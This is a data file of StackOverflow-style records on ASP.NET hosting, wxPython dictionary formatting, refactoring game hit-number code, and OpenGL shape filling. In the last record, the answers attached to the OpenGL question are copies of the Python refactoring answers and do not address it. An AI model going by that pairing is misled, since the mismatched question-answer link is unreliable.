qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
237,843
<p>my shared hosting only allows me to create 2 virtual directories. and i want to host multiple webapps... say an asp.net mvc blog, a forum, a personal site etc... </p> <p>isnt there any other way of doing this? cant i simply just ftp the blog folder to one of my virtual directories and then access it online??</p>
[ { "answer_id": 237913, "author": "Ferruccio", "author_id": 4086, "author_profile": "https://Stackoverflow.com/users/4086", "pm_score": 0, "selected": false, "text": "<p>Can't you just put each app in a separate subdirectory in either of the virtual directories. e.g. if you had <a href=\"http://server.com/vd1\" rel=\"nofollow noreferrer\">http://server.com/vd1</a>, you could partition it like <a href=\"http://server.com/vd1/app1\" rel=\"nofollow noreferrer\">http://server.com/vd1/app1</a>, <a href=\"http://server.com/vd1/app2\" rel=\"nofollow noreferrer\">http://server.com/vd1/app2</a>, etc.</p>\n" }, { "answer_id": 243883, "author": "Peter", "author_id": 5496, "author_profile": "https://Stackoverflow.com/users/5496", "pm_score": 3, "selected": true, "text": "<p>For ASP.NET web applications, typically each would live in its own virtual directory which serves as the application starting point.</p>\n\n<p>Technically you could \"piggy-back\" two applications on the same application starting point in one of two ways:</p>\n\n<ol>\n<li>Put all the files for each application in the same directory (and appropriate sub directories)</li>\n</ol>\n\n<p>If you don't have ANY files that overlap, you can get away with this. Of course, it's likely that you won't with such files as the default or index pages, etc. And this would be pretty messy anyway.</p>\n\n<ol start=\"2\">\n<li>Put all the non-binary files for each app in an appropriate subdirectory and the binaries in the main virtual's \\bin directory.</li>\n</ol>\n\n<p>You'll be able to do this only if each application's binary files don't overlap by name AND there are no namespace ambiguity conflicts between assemblies (two different assemblies by file name, but with the same namespace). The latter is much less likely to happen if you are trying to piggy-back two different applications.</p>\n\n<p>The big problem I see with the latter solution is that any parts of the application that make use of application root references will break. When some code tries to resolve a reference to some resource (like an image) based on an application root reference such as</p>\n\n<pre><code>~/images/logo.gif\n</code></pre>\n\n<p>the ~ will get resolved to the virtual directory, but will not include the additional (non-virtual and non-app starting point) subdirectory in which the application lives. So instead of this:</p>\n\n<pre><code>/vd1/app1/images/logo.gif\n</code></pre>\n\n<p>you'll end up with this:</p>\n\n<pre><code>/vd1/images/logo.gif\n</code></pre>\n\n<p>Obviously, that won't work. </p>\n\n<p>So... you won't break either app if you can put them both in the same virtual directory, however, you'll have to check for file conflicts and such. Possible namespace conflicts will be unavoidable without separate application starting points.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237843", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30007/" ]
my shared hosting only allows me to create 2 virtual directories. and i want to host multiple webapps... say an asp.net mvc blog, a forum, a personal site etc... isnt there any other way of doing this? cant i simply just ftp the blog folder to one of my virtual directories and then access it online??
For ASP.NET web applications, typically each would live in its own virtual directory which serves as the application starting point. Technically you could "piggy-back" two applications on the same application starting point in one of two ways: 1. Put all the files for each application in the same directory (and appropriate sub directories) If you don't have ANY files that overlap, you can get away with this. Of course, it's likely that you won't with such files as the default or index pages, etc. And this would be pretty messy anyway. 2. Put all the non-binary files for each app in an appropriate subdirectory and the binaries in the main virtual's \bin directory. You'll be able to do this only if each application's binary files don't overlap by name AND there are no namespace ambiguity conflicts between assemblies (two different assemblies by file name, but with the same namespace). The latter is much less likely to happen if you are trying to piggy-back two different applications. The big problem I see with the latter solution is that any parts of the application that make use of application root references will break. When some code tries to resolve a reference to some resource (like an image) based on an application root reference such as ``` ~/images/logo.gif ``` the ~ will get resolved to the virtual directory, but will not include the additional (non-virtual and non-app starting point) subdirectory in which the application lives. So instead of this: ``` /vd1/app1/images/logo.gif ``` you'll end up with this: ``` /vd1/images/logo.gif ``` Obviously, that won't work. So... you won't break either app if you can put them both in the same virtual directory, however, you'll have to check for file conflicts and such. Possible namespace conflicts will be unavoidable without separate application starting points.
237,859
<p>I have a text box in wxPython that takes the output of dictionary.items() and displays it to the user as items are added to the dictionary. However, the raw data is very ugly, looking like </p> <pre><code>[(u'BC',45) (u'CHM',25) (u'CPM',30)] </code></pre> <p>I know dictionary.items() is a list of tuples, but I can't seem to figure out how to make a nice format that is also compatible with the SetValue() method of wxPython.</p> <p>I've tried iterating through the list and tuples. If I use a <em>print</em> statement, the output is fine. But when I replace the <em>print</em> statement with SetValue(), it only seems to get the last value of each tuple, rather than both items in the tuple.</p> <p>I've also tried creating a string and passing that string to SetValue() but, again, I can only get one item in the tuple or the other, not both.</p> <p>Any suggestions?</p> <hr> <p><strong>Edit:</strong> Yes, I am passing the results of the dictionary.items() to a text field in a wxPython application. Rather than having the results like above, I'm simply looking for something like:</p> <pre><code>BC 45 CHM 25 CMP 30 </code></pre> <p>Nothing special, just simply pulling each value from each tuple and making a visual list.</p> <p>I have tried making a string format and passing that to SetValue() but it gets hung up on the two values in the tuple. It will either double print each string and add the integers together or it simply returns the integer, depending on how I format it.</p>
[ { "answer_id": 237872, "author": "derfred", "author_id": 10286, "author_profile": "https://Stackoverflow.com/users/10286", "pm_score": 0, "selected": false, "text": "<p>Maybe the <a href=\"http://www.python.org/doc/2.5.2/lib/module-pprint.html\" rel=\"nofollow noreferrer\">pretty print</a> module will help:</p>\n\n<pre><code>&gt;&gt;&gt; import pprint\n&gt;&gt;&gt; pprint.pformat({ \"my key\": \"my value\"})\n\"{'my key': 'my value'}\"\n&gt;&gt;&gt; \n</code></pre>\n" }, { "answer_id": 237937, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<pre><code>text_for_display = '\\n'.join(item + u' ' + unicode(value) for item, value in my_dictionary.items())\n</code></pre>\n" }, { "answer_id": 237941, "author": "gimel", "author_id": 6491, "author_profile": "https://Stackoverflow.com/users/6491", "pm_score": 0, "selected": false, "text": "<p>use % formatting (known in C as sprintf), e.g:</p>\n\n<pre><code>\"%10s - %d\" % dict.items()[0]\n</code></pre>\n\n<p>Number of <em>% conversion specifications</em> in the format string should match tuple length, in the dict.items() case, 2. The result of the string formatting operator is a string, so that using it as an argument to SetValue() is no problem. To translate the whole dict to a string:</p>\n\n<pre><code>'\\n'.join((\"%10s - %d\" % t) for t in dict.items())\n</code></pre>\n\n<p>The format conversion types are specified in the <a href=\"http://www.python.org/doc/2.5.2/lib/typesseq-strings.html\" rel=\"nofollow noreferrer\">doc</a>.</p>\n" }, { "answer_id": 237998, "author": "Ali Afshar", "author_id": 28380, "author_profile": "https://Stackoverflow.com/users/28380", "pm_score": 0, "selected": false, "text": "<p>That data seems much better displayed as a Table/Grid.</p>\n" }, { "answer_id": 238453, "author": "DzinX", "author_id": 18745, "author_profile": "https://Stackoverflow.com/users/18745", "pm_score": 3, "selected": false, "text": "<p>There is no built-in dictionary method that would return your desired result.</p>\n\n<p>You can, however, achieve your goal by creating a helper function that will format the dictionary, e.g.:</p>\n\n<pre><code>def getNiceDictRepr(aDict):\n return '\\n'.join('%s %s' % t for t in aDict.iteritems())\n</code></pre>\n\n<p>This will produce your exact desired output:</p>\n\n<pre><code>&gt;&gt;&gt; myDict = dict([(u'BC',45), (u'CHM',25), (u'CPM',30)])\n&gt;&gt;&gt; print getNiceDictRepr(myDict)\nBC 45\nCHM 25\nCPM 30\n</code></pre>\n\n<p>Then, in your application code, you can use it by passing it to <code>SetValue</code>:</p>\n\n<pre><code>self.textCtrl.SetValue(getNiceDictRepr(myDict))\n</code></pre>\n" }, { "answer_id": 297811, "author": "crystalattice", "author_id": 18676, "author_profile": "https://Stackoverflow.com/users/18676", "pm_score": 0, "selected": false, "text": "<p>I figured out a \"better\" way of formatting the output. As usual, I was trying to nuke it out when a more elegant method will do.</p>\n\n<pre><code>for key, value in sorted(self.dict.items()):\n self.current_list.WriteText(key + \" \" + str(self.dict[key]) + \"\\n\")\n</code></pre>\n\n<p>This way also sorts the dictionary alphabetically, which is a big help when identifying items that have already been selected or used.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237859", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18676/" ]
I have a text box in wxPython that takes the output of dictionary.items() and displays it to the user as items are added to the dictionary. However, the raw data is very ugly, looking like ``` [(u'BC',45) (u'CHM',25) (u'CPM',30)] ``` I know dictionary.items() is a list of tuples, but I can't seem to figure out how to make a nice format that is also compatible with the SetValue() method of wxPython. I've tried iterating through the list and tuples. If I use a *print* statement, the output is fine. But when I replace the *print* statement with SetValue(), it only seems to get the last value of each tuple, rather than both items in the tuple. I've also tried creating a string and passing that string to SetValue() but, again, I can only get one item in the tuple or the other, not both. Any suggestions? --- **Edit:** Yes, I am passing the results of the dictionary.items() to a text field in a wxPython application. Rather than having the results like above, I'm simply looking for something like: ``` BC 45 CHM 25 CMP 30 ``` Nothing special, just simply pulling each value from each tuple and making a visual list. I have tried making a string format and passing that to SetValue() but it gets hung up on the two values in the tuple. It will either double print each string and add the integers together or it simply returns the integer, depending on how I format it.
There is no built-in dictionary method that would return your desired result. You can, however, achieve your goal by creating a helper function that will format the dictionary, e.g.: ``` def getNiceDictRepr(aDict): return '\n'.join('%s %s' % t for t in aDict.iteritems()) ``` This will produce your exact desired output: ``` >>> myDict = dict([(u'BC',45), (u'CHM',25), (u'CPM',30)]) >>> print getNiceDictRepr(myDict) BC 45 CHM 25 CPM 30 ``` Then, in your application code, you can use it by passing it to `SetValue`: ``` self.textCtrl.SetValue(getNiceDictRepr(myDict)) ```
237,876
<p>I'm making a game and one of the methods calculates a character's base hit numbers based on skill values. The method currently calculates each value individually, since each skill can be used at short, medium, and long range.</p> <p>I originally thought I could combine the skills into a tuple and iterate over it, dynamically creating each hit number. But I don't know if it's actually possible, since I currently have each hit number assigned to it's own variable.</p> <p>I also thought about creating a method for each range, and passing the tuple as an argument. I could create a new tuple or list with the resulting values and then assign them to the individual variables, but I don't see how it would be any better than do it this way, except that it won't look so copy &amp; pasted.</p> <p>Here's what I currently have:</p> <pre><code> def calcBaseHitNumbers(self, dict): """Calculate character's base hit numbers depending on skill level.""" self.skill_dict = dict self.rifle = self.skill_dict.get('CRM', 0) self.pistol = self.skill_dict.get('PST', 0) self.big_gun = self.skill_dict.get('LCG', 0) self.heavy_weapon = self.skill_dict.get('HW', 0) self.bow = self.skill_dict.get('LB', 0) #self.skill_tuple = (self.rifle, self.pistol, self.big_gun, self.heavy_weapon, # self.bow) #---Short range ## for skill in self.skill_tuple: ## self.base_hit_short = skill * 0.6 self.charAttribs.bhCRM_short = self.rifle * 0.6 self.charAttribs.bhPST_short = self.pistol * 0.6 self.charAttribs.bhHW_short = self.heavy_weapon * 0.6 self.charAttribs.bhLCG_short = self.big_gun * 0.6 self.charAttribs.bhLB_short = self.bow * 0.6 #---Med range self.charAttribs.bhCRM_med = self.rifle * 0.3 self.charAttribs.bhPST_med = self.pistol * 0.3 self.charAttribs.bhHW_med = self.heavy_weapon * 0.3 self.charAttribs.bhLCG_med = self.big_gun * 0.3 self.charAttribs.bhLB_med = self.bow * 0.3 #---Long range self.charAttribs.bhCRM_long = self.rifle * 0.1 self.charAttribs.bhPST_long = self.pistol * 0.1 self.charAttribs.bhHW_long = self.heavy_weapon * 0.1 self.charAttribs.bhLCG_long = self.big_gun * 0.1 self.charAttribs.bhLB_long = self.bow * 0.1 </code></pre> <p>How would you refactor this so it's more dynamic?</p> <hr> <p><strong>Edit:</strong> I guess what I want to do is something like this: Have a tuple (like the one I commented out) and iterate over it 3 times, each time making a new value (for each skill) based on the modifier for each particular range. The resulting value is then automatically assigned to it's respective variable.</p> <p>In my head, it makes sense. But when I actually try to code it, I get lost. The problem, I think, is that this is the first "real" program I've written; all I've done before are small scripts.</p> <p>This is only the 0.1 version of my program, so it's not critical to refactor it now. However, it seems very un-Pythonic to do this manually and I also want to "future-proof" this in case things change down the road.</p>
[ { "answer_id": 237901, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>@Vinko: perhaps make calcBaseHitNumbers, do the \"if not self.calculatedBase:\" check internally, and just no-op if it's been done before. That said, I can't see the pressing need for precalculating this information. But I'm no Python performance expert.</p>\n" }, { "answer_id": 237905, "author": "Vincent Ramdhanie", "author_id": 27439, "author_profile": "https://Stackoverflow.com/users/27439", "pm_score": 1, "selected": false, "text": "<p>Lets see if I understand you scenario: each weapon has its own distinct hit point so a rifle may have 1, a heavy weapon may have 2 etc. Then each character has a short, medium and long value to be multiplied by the hit point of the weapon.</p>\n\n<p>You should consider using a Strategy design. That is create a weapon superclass with a hit point property. Create sub class weapons for rifle, pistol, bow etc. I am sure that the differences between the weapons are more than just the hit points.</p>\n\n<p>Then the Character has one or more weapons depending on your gameplay. To calculate the hit point for a particular weapon is as simple as</p>\n\n<pre><code>current_weapon * self.medium\n</code></pre>\n\n<p>If you decide to add more weapons later on then you do not have to edit your Character code because your character can handle any weapon.</p>\n\n<p>In Pseudo Python</p>\n\n<pre><code>class Weapon\n hit = 1\n #other properties of weapon\n\nclass Rifle(Weapon)\n #other properties of Rifle\n\nclass Pistol(Weapon)\n #other properties of Pistol\n\nclass Character\n weapon = Rifle()\n long=0.6\n def calcHit()\n return self.long*weapon.hit\n\njohn = Character()\njohn.weapon= Rifle()\njohn.calcHit\n</code></pre>\n" }, { "answer_id": 237906, "author": "The Archetypal Paul", "author_id": 21755, "author_profile": "https://Stackoverflow.com/users/21755", "pm_score": 0, "selected": false, "text": "<p>What sense of dynamic do you mean? What is likely to vary - the number of skills, or the weighting factors, the number of ranges (short, med, long) or all of these?</p>\n\n<p>What happens to the (e.g.) bhPST_* values afterwards - do they get combined into one number?</p>\n\n<p>One thing that leaps out is that the list of skills is hardwired in the code - I would be inclined to replace the bh variables with a method</p>\n\n<p>So (please take into account I don't know the first thing about Python :) )</p>\n\n<pre><code>def bh_short(self, key)\n skill = self.skill_dict.get(key, 0)\n return skill * 0.6\n</code></pre>\n\n<p>Now you can keep a list of skills that contribute to hit points and iterate over that calling bh_short etc.</p>\n\n<p>Possibly also pass the range (long med short) unto the function, or return all three values - this all depends on what you're going to do next with the calculated hitpoints.</p>\n\n<p>Basically, we need more information about the context this is to be used in</p>\n" }, { "answer_id": 237907, "author": "James Bennett", "author_id": 28070, "author_profile": "https://Stackoverflow.com/users/28070", "pm_score": 3, "selected": false, "text": "<p>It feels like what you really want is a class representing the weapon, with attributes to handle the base values and calculate hit values with various modifiers. Here's a simple example:</p>\n\n<pre><code>SHORT_RANGE = 'S'\nMEDIUM_RANGE = 'M'\nLONG_RANGE = 'L'\nSHORT_RANGE_MODIFIER = 0.6\nMEDIUM_RANGE_MODIFIER = 0.3\nLONG_RANGE_MODIFIER = 0.1\n\nclass Weapon(object):\n def __init__(self, code_name, full_name, base_hit_value,\n short_range_modifier=None, medium_range_modifier=None,\n long_range_modifier=None):\n self.code_name, self.full_name = code_name, full_name\n self.base_hit_value = base_hit_value\n self.range_modifiers = {\n SHORT_RANGE: short_range_modifier or SHORT_RANGE_MODIFIER,\n MEDIUM_RANGE: medium_range_modifier or MEDIUM_RANGE_MODIFIER,\n LONG_RANGE: long_range_modifier or LONG_RANGE_MODIFIER,\n }\n\n def hit_value(self, range, modifier=1):\n return self.base_hit_value * self.range_modifiers[range] * modifier\n</code></pre>\n\n<p>From there, you might create instances of Weapon inside your Character object like so:</p>\n\n<pre><code> self.rifle = Weapon('CRM', 'rifle', 5)\n self.pistol = Weapon('PST', 'pistol', 10)\n</code></pre>\n\n<p>And then if, say, the character fires the pistol at short range:</p>\n\n<pre><code> hit_value = self.pistol.hit_value(SHORT_RANGE)\n</code></pre>\n\n<p>The extra argument to the hit_value() method can be used to pass in character- or situation-specific modifications.</p>\n\n<p>Of course, the next step beyond this would be to directly model the weapons as subclasses of Weapon (perhaps breaking down into specific types of weapons, like guns, bows, grenades, etc., each with their own base values) and add an Inventory class to represent the weapons a character is carrying.</p>\n\n<p>All of this is pretty standard, boring object-oriented design procedure, but for plenty of situations this type of thinking will get you off the ground quickly and provide at least a little bit of basic flexibility.</p>\n" }, { "answer_id": 239131, "author": "monopocalypse", "author_id": 17142, "author_profile": "https://Stackoverflow.com/users/17142", "pm_score": 0, "selected": false, "text": "<p>I would have a class for the character's attributes (so you don't have heaps of things in the character class) and a class for a weapon's attributes:</p>\n\n<pre><code>class WeaponAttribute(object):\n\n short_mod = 0.6\n med_mod = 0.3\n long_mod = 0.1\n\n def __init__(self, base):\n self.base = base\n\n @property\n def short(self):\n return self.base * self.short_mod\n\n @property\n def med(self):\n return self.base * self.med_mod\n\n @property\n def long(self):\n return self.base * self.long_mod\n\n\nclass CharacterAttributes(object):\n\n def __init__(self, attributes):\n for weapon, base in attributes.items():\n setattr(self, weapon, WeaponAttribute(base))\n</code></pre>\n\n<p>Have a <code>CharacterAttributes</code> object in the character class and use it like this:</p>\n\n<pre><code># Initialise\nself.charAttribs = CharacterAttributes(self.skill_dict)\n# Get some values\nprint self.charAttribs.CRM.short\nprint self.charAttribs.PST.med\nprint self.charAttribs.LCG.long\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237876", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18676/" ]
I'm making a game and one of the methods calculates a character's base hit numbers based on skill values. The method currently calculates each value individually, since each skill can be used at short, medium, and long range. I originally thought I could combine the skills into a tuple and iterate over it, dynamically creating each hit number. But I don't know if it's actually possible, since I currently have each hit number assigned to it's own variable. I also thought about creating a method for each range, and passing the tuple as an argument. I could create a new tuple or list with the resulting values and then assign them to the individual variables, but I don't see how it would be any better than do it this way, except that it won't look so copy & pasted. Here's what I currently have: ``` def calcBaseHitNumbers(self, dict): """Calculate character's base hit numbers depending on skill level.""" self.skill_dict = dict self.rifle = self.skill_dict.get('CRM', 0) self.pistol = self.skill_dict.get('PST', 0) self.big_gun = self.skill_dict.get('LCG', 0) self.heavy_weapon = self.skill_dict.get('HW', 0) self.bow = self.skill_dict.get('LB', 0) #self.skill_tuple = (self.rifle, self.pistol, self.big_gun, self.heavy_weapon, # self.bow) #---Short range ## for skill in self.skill_tuple: ## self.base_hit_short = skill * 0.6 self.charAttribs.bhCRM_short = self.rifle * 0.6 self.charAttribs.bhPST_short = self.pistol * 0.6 self.charAttribs.bhHW_short = self.heavy_weapon * 0.6 self.charAttribs.bhLCG_short = self.big_gun * 0.6 self.charAttribs.bhLB_short = self.bow * 0.6 #---Med range self.charAttribs.bhCRM_med = self.rifle * 0.3 self.charAttribs.bhPST_med = self.pistol * 0.3 self.charAttribs.bhHW_med = self.heavy_weapon * 0.3 self.charAttribs.bhLCG_med = self.big_gun * 0.3 self.charAttribs.bhLB_med = self.bow * 0.3 #---Long range self.charAttribs.bhCRM_long = self.rifle * 0.1 self.charAttribs.bhPST_long = self.pistol * 0.1 self.charAttribs.bhHW_long = self.heavy_weapon * 0.1 self.charAttribs.bhLCG_long = self.big_gun * 0.1 self.charAttribs.bhLB_long = self.bow * 0.1 ``` How would you refactor this so it's more dynamic? --- **Edit:** I guess what I want to do is something like this: Have a tuple (like the one I commented out) and iterate over it 3 times, each time making a new value (for each skill) based on the modifier for each particular range. The resulting value is then automatically assigned to it's respective variable. In my head, it makes sense. But when I actually try to code it, I get lost. The problem, I think, is that this is the first "real" program I've written; all I've done before are small scripts. This is only the 0.1 version of my program, so it's not critical to refactor it now. However, it seems very un-Pythonic to do this manually and I also want to "future-proof" this in case things change down the road.
It feels like what you really want is a class representing the weapon, with attributes to handle the base values and calculate hit values with various modifiers. Here's a simple example: ``` SHORT_RANGE = 'S' MEDIUM_RANGE = 'M' LONG_RANGE = 'L' SHORT_RANGE_MODIFIER = 0.6 MEDIUM_RANGE_MODIFIER = 0.3 LONG_RANGE_MODIFIER = 0.1 class Weapon(object): def __init__(self, code_name, full_name, base_hit_value, short_range_modifier=None, medium_range_modifier=None, long_range_modifier=None): self.code_name, self.full_name = code_name, full_name self.base_hit_value = base_hit_value self.range_modifiers = { SHORT_RANGE: short_range_modifier or SHORT_RANGE_MODIFIER, MEDIUM_RANGE: medium_range_modifier or MEDIUM_RANGE_MODIFIER, LONG_RANGE: long_range_modifier or LONG_RANGE_MODIFIER, } def hit_value(self, range, modifier=1): return self.base_hit_value * self.range_modifiers[range] * modifier ``` From there, you might create instances of Weapon inside your Character object like so: ``` self.rifle = Weapon('CRM', 'rifle', 5) self.pistol = Weapon('PST', 'pistol', 10) ``` And then if, say, the character fires the pistol at short range: ``` hit_value = self.pistol.hit_value(SHORT_RANGE) ``` The extra argument to the hit\_value() method can be used to pass in character- or situation-specific modifications. Of course, the next step beyond this would be to directly model the weapons as subclasses of Weapon (perhaps breaking down into specific types of weapons, like guns, bows, grenades, etc., each with their own base values) and add an Inventory class to represent the weapons a character is carrying. All of this is pretty standard, boring object-oriented design procedure, but for plenty of situations this type of thinking will get you off the ground quickly and provide at least a little bit of basic flexibility.
237,899
<p>I am using freeglut for opengl rendering...</p> <p>I need to draw an envelop looking like a cone (2D) that has to be filled with some color and some transparency applied.</p> <p>Is the freeglut toolkit equipped with such an inbuilt functionality to draw filled geometries(or some trick)? or is there some other api that has an inbuilt support for filled up geometries..</p> <p><strong>Edit1:</strong> just to clarify the 2D cone thing... the envelop is the graphical interpretation of the coverage area of an aircraft during interception(of an enemy aircraft)...that resembles a sector of a circle..i should have mentioned sector instead..</p> <p>and glutSolidCone doesnot help me as i want to draw a filled sector of a circle...which i have already done...what remains to do is to fill it with some color... how to fill geometries with color in opengl?</p> <p><strong>Edit2:</strong> All the answers posted to this questions can work for my problem in a way.. But i would definitely would want to know a way how to fill a geometry with some color. Say if i want to draw an envelop which is a parabola...in that case there would be no default glut function to actually draw a filled parabola(or is there any?).. So to generalise this question...how to draw a custom geometry in some solid color?</p> <p><strong>Edit3:</strong> The answer that mstrobl posted works for GL_TRIANGLES but for such a code:</p> <pre><code>glBegin(GL_LINE_STRIP); glColor3f(0.0, 0.0, 1.0); glVertex3f(0.0, 0.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(200.0, 0.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(200.0, 200.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(0.0, 200.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(0.0, 0.0, 0.0); glEnd(); </code></pre> <p>which draws a square...only a wired square is drawn...i need to fill it with blue color.</p> <p>anyway to do it?</p> <p>if i put some drawing commands for a closed curve..like a pie..and i need to fill it with a color is there a way to make it possible...</p> <p>i dont know how its possible for GL_TRIANGLES... but how to do it for any closed curve?</p>
[ { "answer_id": 237901, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>@Vinko: perhaps make calcBaseHitNumbers, do the \"if not self.calculatedBase:\" check internally, and just no-op if it's been done before. That said, I can't see the pressing need for precalculating this information. But I'm no Python performance expert.</p>\n" }, { "answer_id": 237905, "author": "Vincent Ramdhanie", "author_id": 27439, "author_profile": "https://Stackoverflow.com/users/27439", "pm_score": 1, "selected": false, "text": "<p>Lets see if I understand you scenario: each weapon has its own distinct hit point so a rifle may have 1, a heavy weapon may have 2 etc. Then each character has a short, medium and long value to be multiplied by the hit point of the weapon.</p>\n\n<p>You should consider using a Strategy design. That is create a weapon superclass with a hit point property. Create sub class weapons for rifle, pistol, bow etc. I am sure that the differences between the weapons are more than just the hit points.</p>\n\n<p>Then the Character has one or more weapons depending on your gameplay. To calculate the hit point for a particular weapon is as simple as</p>\n\n<pre><code>current_weapon * self.medium\n</code></pre>\n\n<p>If you decide to add more weapons later on then you do not have to edit your Character code because your character can handle any weapon.</p>\n\n<p>In Pseudo Python</p>\n\n<pre><code>class Weapon\n hit = 1\n #other properties of weapon\n\nclass Rifle(Weapon)\n #other properties of Rifle\n\nclass Pistol(Weapon)\n #other properties of Pistol\n\nclass Character\n weapon = Rifle()\n long=0.6\n def calcHit()\n return self.long*weapon.hit\n\njohn = Character()\njohn.weapon= Rifle()\njohn.calcHit\n</code></pre>\n" }, { "answer_id": 237906, "author": "The Archetypal Paul", "author_id": 21755, "author_profile": "https://Stackoverflow.com/users/21755", "pm_score": 0, "selected": false, "text": "<p>What sense of dynamic do you mean? What is likely to vary - the number of skills, or the weighting factors, the number of ranges (short, med, long) or all of these?</p>\n\n<p>What happens to the (e.g.) bhPST_* values afterwards - do they get combined into one number?</p>\n\n<p>One thing that leaps out is that the list of skills is hardwired in the code - I would be inclined to replace the bh variables with a method</p>\n\n<p>So (please take into account I don't know the first thing about Python :) )</p>\n\n<pre><code>def bh_short(self, key)\n skill = self.skill_dict.get(key, 0)\n return skill * 0.6\n</code></pre>\n\n<p>Now you can keep a list of skills that contribute to hit points and iterate over that calling bh_short etc.</p>\n\n<p>Possibly also pass the range (long med short) unto the function, or return all three values - this all depends on what you're going to do next with the calculated hitpoints.</p>\n\n<p>Basically, we need more information about the context this is to be used in</p>\n" }, { "answer_id": 237907, "author": "James Bennett", "author_id": 28070, "author_profile": "https://Stackoverflow.com/users/28070", "pm_score": 3, "selected": false, "text": "<p>It feels like what you really want is a class representing the weapon, with attributes to handle the base values and calculate hit values with various modifiers. Here's a simple example:</p>\n\n<pre><code>SHORT_RANGE = 'S'\nMEDIUM_RANGE = 'M'\nLONG_RANGE = 'L'\nSHORT_RANGE_MODIFIER = 0.6\nMEDIUM_RANGE_MODIFIER = 0.3\nLONG_RANGE_MODIFIER = 0.1\n\nclass Weapon(object):\n def __init__(self, code_name, full_name, base_hit_value,\n short_range_modifier=None, medium_range_modifier=None,\n long_range_modifier=None):\n self.code_name, self.full_name = code_name, full_name\n self.base_hit_value = base_hit_value\n self.range_modifiers = {\n SHORT_RANGE: short_range_modifier or SHORT_RANGE_MODIFIER,\n MEDIUM_RANGE: medium_range_modifier or MEDIUM_RANGE_MODIFIER,\n LONG_RANGE: long_range_modifier or LONG_RANGE_MODIFIER,\n }\n\n def hit_value(self, range, modifier=1):\n return self.base_hit_value * self.range_modifiers[range] * modifier\n</code></pre>\n\n<p>From there, you might create instances of Weapon inside your Character object like so:</p>\n\n<pre><code> self.rifle = Weapon('CRM', 'rifle', 5)\n self.pistol = Weapon('PST', 'pistol', 10)\n</code></pre>\n\n<p>And then if, say, the character fires the pistol at short range:</p>\n\n<pre><code> hit_value = self.pistol.hit_value(SHORT_RANGE)\n</code></pre>\n\n<p>The extra argument to the hit_value() method can be used to pass in character- or situation-specific modifications.</p>\n\n<p>Of course, the next step beyond this would be to directly model the weapons as subclasses of Weapon (perhaps breaking down into specific types of weapons, like guns, bows, grenades, etc., each with their own base values) and add an Inventory class to represent the weapons a character is carrying.</p>\n\n<p>All of this is pretty standard, boring object-oriented design procedure, but for plenty of situations this type of thinking will get you off the ground quickly and provide at least a little bit of basic flexibility.</p>\n" }, { "answer_id": 239131, "author": "monopocalypse", "author_id": 17142, "author_profile": "https://Stackoverflow.com/users/17142", "pm_score": 0, "selected": false, "text": "<p>I would have a class for the character's attributes (so you don't have heaps of things in the character class) and a class for a weapon's attributes:</p>\n\n<pre><code>class WeaponAttribute(object):\n\n short_mod = 0.6\n med_mod = 0.3\n long_mod = 0.1\n\n def __init__(self, base):\n self.base = base\n\n @property\n def short(self):\n return self.base * self.short_mod\n\n @property\n def med(self):\n return self.base * self.med_mod\n\n @property\n def long(self):\n return self.base * self.long_mod\n\n\nclass CharacterAttributes(object):\n\n def __init__(self, attributes):\n for weapon, base in attributes.items():\n setattr(self, weapon, WeaponAttribute(base))\n</code></pre>\n\n<p>Have a <code>CharacterAttributes</code> object in the character class and use it like this:</p>\n\n<pre><code># Initialise\nself.charAttribs = CharacterAttributes(self.skill_dict)\n# Get some values\nprint self.charAttribs.CRM.short\nprint self.charAttribs.PST.med\nprint self.charAttribs.LCG.long\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237899", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30868/" ]
I am using freeglut for opengl rendering... I need to draw an envelop looking like a cone (2D) that has to be filled with some color and some transparency applied. Is the freeglut toolkit equipped with such an inbuilt functionality to draw filled geometries(or some trick)? or is there some other api that has an inbuilt support for filled up geometries.. **Edit1:** just to clarify the 2D cone thing... the envelop is the graphical interpretation of the coverage area of an aircraft during interception(of an enemy aircraft)...that resembles a sector of a circle..i should have mentioned sector instead.. and glutSolidCone doesnot help me as i want to draw a filled sector of a circle...which i have already done...what remains to do is to fill it with some color... how to fill geometries with color in opengl? **Edit2:** All the answers posted to this questions can work for my problem in a way.. But i would definitely would want to know a way how to fill a geometry with some color. Say if i want to draw an envelop which is a parabola...in that case there would be no default glut function to actually draw a filled parabola(or is there any?).. So to generalise this question...how to draw a custom geometry in some solid color? **Edit3:** The answer that mstrobl posted works for GL\_TRIANGLES but for such a code: ``` glBegin(GL_LINE_STRIP); glColor3f(0.0, 0.0, 1.0); glVertex3f(0.0, 0.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(200.0, 0.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(200.0, 200.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(0.0, 200.0, 0.0); glColor3f(0.0, 0.0, 1.0); glVertex3f(0.0, 0.0, 0.0); glEnd(); ``` which draws a square...only a wired square is drawn...i need to fill it with blue color. anyway to do it? if i put some drawing commands for a closed curve..like a pie..and i need to fill it with a color is there a way to make it possible... i dont know how its possible for GL\_TRIANGLES... but how to do it for any closed curve?
